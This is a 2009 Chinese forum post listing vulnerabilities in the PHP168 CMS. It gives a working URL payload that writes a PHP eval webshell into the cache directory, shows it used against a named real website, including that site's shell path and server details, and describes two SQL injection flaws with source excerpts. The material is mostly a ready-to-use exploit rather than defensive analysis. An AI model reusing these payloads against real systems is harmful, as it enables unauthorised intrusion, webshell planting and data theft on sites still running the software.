服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 8108|回复: 0

PHP168所有漏洞

[复制链接]
dirtysea 发表于 2009-12-22 12:39:36 | 显示全部楼层 |阅读模式
PHP168 6.0以下版本漏洞【PHP168的V6版本中无效...】
没什么大用...也是公开的秘密了。。
公布不公布都很多人知道的,直接将PHP一句话写入cache目录
不过PHP168的V6版本中无效...

漏洞存在login.php
利用代码网站URL后直接输入

login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@eval($_POST[a]);?>
可以直接写一句话到 cache/shell.php  

用PHP一句话连接器连接  【lanker微型PHP+ASP管理器1.0双用版 】
实战:
Powered by php168 V5.0 Code -V6.0
[url=http://www.lcqmxx.com/login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@ev<wbr]http://www.lcqmxx.com/login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@eval($_POST[a[/url]]);?>
http://www.lcqmxx.com/cache/shell.php
服务器系统:WINNT
服务器操作系统文字编码:zh-cn
服务器IP:www.lcqmxx.com
Web服务端口端口:80
PHP运行方式:CGI-FCGI
PHP版本:5.1.2
本文件路径:
这样我想到一个方法,文件路径不写为空,哈哈,拿到了
upfile:1.php OK!
http://www.lcqmxx.com/cache/1.php
改名为
http://www.lcqmxx.com/cache/cache.edw.php


这是继Php168 v6 权限提升漏洞【类似php 168 2008的权限提升】
黑客X档案0909期爆出来了,我就不写了,直接传图片。





php168 v5.0 注入漏洞

       首页调用了require(PHP168_PATH."inc/label.php");
     继续跟进;
    label.php
          if($jobs=='show')
{
        if(!$_COOKIE[Admin])
        {
                showerr("&Auml;&atilde;&Icirc;&THORN;&Egrave;¨&sup2;é&iquest;&acute;");
        }
        //&raquo;&ntilde;&Egrave;&iexcl;&Iacute;·&Oacute;&euml;&Icirc;&sup2;&micro;&Auml;±ê&Ccedil;&copy;
        preg_replace('/\$label\[([a-zA-Z0-9\_]+)\]/eis',"label_array_hf('\\1')",read_file(html("head",$head_tpl)));
        preg_replace('/\$label\[([a-zA-Z0-9\_]+)\]/eis',"label_array_hf('\\1')",read_file(html("foot",$foot_tpl)));
        //$label_hf&Icirc;&ordf;&Iacute;·&sup2;&iquest;&micro;&Auml;&frac14;ì&Euml;÷&Ecirc;&yacute;×é,&frac14;ì&sup2;é&Iacute;·&sup2;&iquest;&Oacute;&ETH;&para;à&Eacute;&Ugrave;&cedil;&ouml;±ê&Ccedil;&copy;
        is_array($label_hf) || $label_hf=array();                                          //---------- 注意!
        foreach($label_hf AS $key=>$value)
        {
                $rs=$db->get_one("SELECT * FROM {$pre}label WHERE ch='$ch' AND tag='$key' AND module='$ch_module' AND chtype='99'");
                if($rs[tag])
                {
                        $divdb=unserialize($rs[divcode]);
                        $label[$key]=add_div($label[$key]?$label[$key]:'&nbsp;',$rs[tag],$rs[type],$divdb[div_w],$divdb[div_h],$divdb[div_bgcolor],'99');
                }
                else
                {
                        $label[$key]=add_div("&ETH;&Acirc;±ê&Ccedil;&copy;,&Icirc;&THORN;&Auml;&Uacute;&Egrave;&Yacute;",$key,'NewTag','','','','99');
                }
        }

             $label_hf数组并没有初始化,接着有个循环将它的下标$key放进了sql语句,加上addcslashes不处理数组下标的问题,造成注入漏洞,不爽的是语句的返回没有表现在首页上,所以能盲注喽!

php168 v5.0 另一处注入漏洞
     member/list.php
      if($step==2)
{
        if(!$aidDB)                                                                           //-----------------------------------------
        {
                showerr("&Ccedil;&euml;&Ouml;&Aacute;&Eacute;&Ugrave;&Ntilde;&iexcl;&Ocirc;&ntilde;&Ograve;&raquo;&AElig;&ordf;&Icirc;&Auml;&Otilde;&Acirc;");
        }
        elseif(!$Type)
        {
                showerr("&Ccedil;&euml;&Ntilde;&iexcl;&Ocirc;&ntilde;&sup2;&Ugrave;×÷&Auml;&iquest;±ê,&Ecirc;&Ccedil;&Eacute;&frac34;&sup3;&yacute;&raquo;&sup1;&Ecirc;&Ccedil;&Eacute;ó&ordm;&Euml;&micro;&Egrave;...");
        }
        if($Type=='yz'){
                if($T_yz<1){
                        $Type=='unyz';
                }
        }elseif($Type=='leavels'){
                if($levels<1){
                        $Type='uncom';
                }
                else{
                        $levels=1;
                        $Type='com';
                }
        }
        if($Type=='delete'){
                make_more_article_html("$FROMURL","del_0",$aidDB);
        }

function make_more_article_html($comebackurl='/',$type='',$aidDB=''){
        global $db,$pre,$webdb,$webdb;
        if($webdb[NewsMakeHtml]!=1||$aidDB=='')
        {
                return ;
        }
        $string=implode(",",$aidDB);
        $query = $db->query("SELECT A.*,B.bencandy_html,B.list_html FROM {$pre}article A LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE A.aid IN ($string)");
        while($rs = $db->fetch_array($query)){
           
       $aidDB没有过滤就**了
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-26 17:26 , Processed in 0.213287 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表